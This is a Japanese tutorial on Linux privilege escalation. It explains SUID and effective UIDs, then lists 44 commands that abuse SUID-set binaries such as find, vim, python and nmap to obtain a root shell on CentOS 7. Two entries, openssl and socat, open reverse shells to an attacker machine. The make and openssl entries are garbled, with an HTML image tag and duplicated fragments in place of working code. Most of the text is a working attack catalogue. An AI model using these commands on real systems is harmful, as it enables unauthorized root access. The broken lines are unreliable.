このドキュメントでは、suid権限を持つプログラムを使用して、CentOS7の権限をエスカレートしてルートシェルを取得する方法を紹介します。
まず、suidの概念を簡単に紹介します。
Linuxプロセスの実行時には、次の3つのUIDがあります。
実UID:プロセスを実行するユーザーのUID。実際のUIDは、ユーザーの識別にのみ使用され、権限の確認には使用されません。
実効UID(EUID):プロセスの実行時に有効になるUID。アクセスターゲットを操作する場合、システムはEUIDに権限があるかどうかを確認します。通常の状況では、実際のUIDはEUIDと同じですが、SUID権限でプログラムを実行すると、プロセスのEUIDはプログラムファイルの所有者のUIDに設定されます。
保存されたUID:特権の高いユーザーが降格した後に予約されるUID。
プロセスのGIDはUIDに似ています。
実行可能プログラム/ bin / catはCentOSシステムに存在し、所有者とグループはrootであり、すべてのユーザーがその実行権限を持っています。さらに、システムファイル/ etc / shadowがあり、所有者とグループもrootであり、アクセス権を提供しません。

user1という名前のシステムに共通のユーザーがいて、UIDとGIDの両方が1000であるとします。このユーザーには/ bin / catに対する実行権限がありますが、/ etc / shadowに対する権限はありません。デフォルトでは、user1は/ bin / catを実行し、システムはcatプロセスを作成します。プロセスの実際のUIDと有効なUIDは同じであり、どちらもプロセスを実行しているuser1ユーザーのUID(1000)です。 catプロセスは/ etc / shadowにアクセスします。プロセスのEUIDにはアクセス権がないため、システムはターゲットへのアクセスを拒否します。
/ bin / catのSUID権限を設定すると、user1によって作成されたcatプロセスの実効UIDは、/ bin / catファイルの所有者のUID値、つまりrootのUID:0に自動的に設定されます。このように、プロセスが/ etc / shadowにアクセスすると、ターゲットファイルは誰にも拒否されますが、プロセスの実効UIDが0であるため、スーパーユーザー権限があり、任意のファイルにアクセスできるため、シャドウファイルの内容を表示できます。
suid権限を持つプログラムの実行後にシェルが作成された場合、シェルプロセスのEUIDは、プログラムファイルの所有者のUIDにもなります。つまり、ルートシェルになります。ルートシェルで実行されているプログラムのEUIDも0であり、スーパーオーソリティがあります。
実行可能ファイルにsuid権限を追加する目的は、操作プロセスを簡素化し、通常のユーザーが高い権限でのみ実行できるタスクを実行できるようにすることです。ただし、SUIDが適切に構成されていない場合、特権のエスカレーションが発生しやすくなります。
仮想マシン:CentOS Linuxリリース7.8.2003(コア)
chmod u + s prog1 // prog1のsuid権限を設定します
chmod g + s prog2 // prog2のsgid権限を設定します
find / -perm -u = s -type f 2> / dev / null // suidファイルを検索します
find / -perm -g = s -type f 2> / dev / null // sgidファイルを検索します
ここで、後で説明する特権のエスカレーションに使用されるプログラムファイルはすべて、rootユーザーによるsuid権限で設定されていると想定します。これらのファイルを検索した後、特権のエスカレーションを開始します。
1、 awk
次のコマンドを入力して、権限をエスカレーションします。
awk ‘BEGIN {system(“/bin/bash -p”)}’

特権のエスカレーションが成功し、ルートシェルが取得されました。
2、 bash
次のコマンドを入力して、権限をエスカレーションします。
bash -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
3、 csh
次のコマンドを入力して、権限をエスカレーションします。
csh -b

特権のエスカレーションが成功し、ルートシェルが取得されました。
4、 dmesg
次のコマンドを入力して、権限をエスカレーションします。
dmesg -H
! /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
5、 docker
次のコマンドを入力して、権限をエスカレーションします。
docker run -v /:/mnt —rm -it alpine chroot /mnt sh

特権のエスカレーションが成功し、ルートシェルが取得されました。
6、 ed
次のコマンドを入力して、権限をエスカレーションします。
ed
! /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
7、 env
次のコマンドを入力して、権限をエスカレーションします。
env /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
8、 expect
次のコマンドを入力して、権限をエスカレーションします。
expect -c ‘spawn /bin/sh -p;interact’

特権のエスカレーションが成功し、ルートシェルが取得されました。
9、 find
次のコマンドを入力して、権限をエスカレーションします。
find . -exec /bin/sh -p ; -quit

特権のエスカレーションが成功し、ルートシェルが取得されました。
10、 flock
次のコマンドを入力して、権限をエスカレーションします。
flock -u / /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
11、 ftp
次のコマンドを入力して、権限をエスカレーションします。
ftp
! /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
12、 gdb
次のコマンドを入力して、権限をエスカレーションします。
gdb -nx -ex ‘python import os; os.execl(“/bin/sh”, “sh”, “-p”)’ -ex quit

特権のエスカレーションが成功し、ルートシェルが取得されました。
13、 gimp
次のコマンドを入力して、権限をエスカレーションします。
gimp -idf —batch-interpreter=python-fu-eval -b ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’

特権のエスカレーションが成功し、ルートシェルが取得されました。
14、 git
次のコマンドを入力して、権限をエスカレーションします。
git help status //一番下の行に「!/ bin / sh-p」と入力します

Enterキーを押した後、シェルを取得します。

特権のエスカレーションが成功し、ルートシェルが取得されました。
**15、**ionice
次のコマンドを入力して、権限をエスカレーションします。
ionice /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
16、 ip
次のコマンドを入力して、権限をエスカレーションします。
ip netns add foo
ip netns exec foo /bin/sh -p
ip netns delete foo

特権のエスカレーションが成功し、ルートシェルが取得されました。
17、 ksh
次のコマンドを入力して、権限をエスカレーションします。
ksh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
18、 less
次のコマンドを入力して、権限をエスカレーションします。
less / etc / profile //ファイルを読み取り、一番下の行に入力してください!/ bin / sh -p

Enterキーを押した後、新しいシェルに入ります

特権のエスカレーションが成功し、ルートシェルが取得されました。
19、 logsave
次のコマンドを入力して、権限をエスカレーションします。
logsave /dev/null /bin/sh -i -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
20、 make
次のコマンドを入力して、権限をエスカレーションします。
COMMAND=’/bin/sh -p’
make -s —eval=<img src="https://chart.googleapis.com/chart?cht=tx&chl='x%3A%5Cn%5Ct-'%22" alt="'x:\n\t-'" "="">COMMAND”

特権のエスカレーションが成功し、ルートシェルが取得されました。
21、 man
man man //一番下の行に「!/ bin / sh-p」と入力します

Enterキーを押した後、シェルを取得します。

特権のエスカレーションが成功し、ルートシェルが取得されました。
22、 more
次のコマンドを入力して、権限をエスカレーションします。
more /etc/profile
! /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
23、 nano
次のコマンドを入力して、権限をエスカレーションします。
nano // nanoプログラムを実行する
^ R // ctrl-rを押す
^ X // ctrl-xを押す
reset; sh -p 1>&0 2>&0 //次のコマンドを入力します

コマンドの内容はnanoシェルに表示できませんが、コマンドの結果は表示されます。
特権のエスカレーションが成功し、ルートシェルが取得されました。
24、 nice
次のコマンドを入力して、権限をエスカレーションします。
nice /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
25、 nmap
次のコマンドを入力して、権限をエスカレーションします。
echo “os.execute(‘/bin/bash -p’)” > /tmp/shell.nse
nmap —script=/tmp/shell.nse 127.0.0.1

特権のエスカレーションが成功し、ルートシェルが取得されました。
26、 openssl
次のコマンドを入力して、権限をエスカレーションします。
まず、攻撃者のマシンで次のコマンドを実行して、接続を受信します。
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345

次に、CentOSサーバーで次のコマンドを実行します。
RHOST=192.168.1.6
RPORT=12345
mkfifo /tmp/s; /bin/sh -p -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect&1 | openssl s_client -quiet -no_ign_eof -connect $RPORT > /tmp/s; rm /tmp/s

攻撃者はリバウンドシェルを受け取りました:

特権のエスカレーションが成功し、ルートシェルが取得されました。
27、 php
次のコマンドを入力して、権限をエスカレーションします。
CMD=”/bin/sh”
php -r “pcntl_exec(‘/bin/sh’, [‘-p’]);”

特権のエスカレーションが成功し、ルートシェルが取得されました。
28、 python
次のコマンドを入力して、権限をエスカレーションします。
python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’

特権のエスカレーションが成功し、ルートシェルが取得されました。
29、 rpm
次のコマンドを入力して、権限をエスカレーションします。
rpm —eval ‘%{lua:os.execute(“/bin/sh -p”)}’

特権のエスカレーションが成功し、ルートシェルが取得されました。
30、 rsync
次のコマンドを入力して、権限をエスカレーションします。
rsync -e ‘sh -p -c “sh -p 0<&2 1>&2”‘ 127.0.0.1:/dev/null

特権のエスカレーションが成功し、ルートシェルが取得されました。
31、 rvim
次のコマンドを入力して、権限をエスカレーションします。
rvim -c ‘:py import os; os.execl(“/bin/sh”, “sh”, “-pc”, “reset; exec sh -p”)’

特権のエスカレーションが成功し、ルートシェルが取得されました。
**32、**setarch
次のコマンドを入力して、権限をエスカレーションします。
setarch $(arch) /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
33、 socat
次のコマンドを入力して、権限をエスカレーションします。
攻撃者は最初に自分のコンピューターのTCPポート8888でリッスンを開始します
socat file:’/dev/tty’,raw,echo=0 tcp-listen:8888
サーバーはsocatを介して接続を開始します。
socat tcp-connect:192.168.1.6:8888 exec:’/bin/sh -p’,pty,stderr
攻撃者はシェルを取得します。

特権のエスカレーションが成功し、ルートシェルが取得されました。
34、 ssh
次のコマンドを入力して、権限をエスカレーションします。
ssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x

特権のエスカレーションが成功し、ルートシェルが取得されました。
**35、**strace
次のコマンドを入力して、権限をエスカレーションします。
strace -o /dev/null /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
36、 stdbuf
次のコマンドを入力して、権限をエスカレーションします。
stdbuf -i0 /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
37、 taskset
次のコマンドを入力して、権限をエスカレーションします。
taskset 1 /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
38、 tclsh
次のコマンドを入力して、権限をエスカレーションします。
tclsh
exec /bin/sh -p <@stdin >@stdout 2>@stderr

特権のエスカレーションが成功し、ルートシェルが取得されました。
39、 time
次のコマンドを入力して、権限をエスカレーションします。
time /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
40、 timeout
次のコマンドを入力して、権限をエスカレーションします。
timeout 7d /bin/sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
41、 vim
次のコマンドを入力して、権限をエスカレーションします。
vim -c ‘:py import os; os.execl(“/bin/sh”, “sh”, “-pc”, “reset; exec sh -p”)’

特権のエスカレーションが成功し、ルートシェルが取得されました。
42、 watch
次のコマンドを入力して、権限をエスカレーションします。
watch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’

実行されたコマンドは表示できませんが、実行結果は表示されます。
特権のエスカレーションが成功し、ルートシェルが取得されました。
43、 xargs
次のコマンドを入力して、権限をエスカレーションします。
xargs -a /dev/null sh -p

特権のエスカレーションが成功し、ルートシェルが取得されました。
44、 zsh
次のコマンドを入力して、権限をエスカレーションします。
zsh

特権のエスカレーションが成功し、ルートシェルが取得されました。
この文書は研究目的のみであり、違法な目的で使用しないでください。
Recommended Posts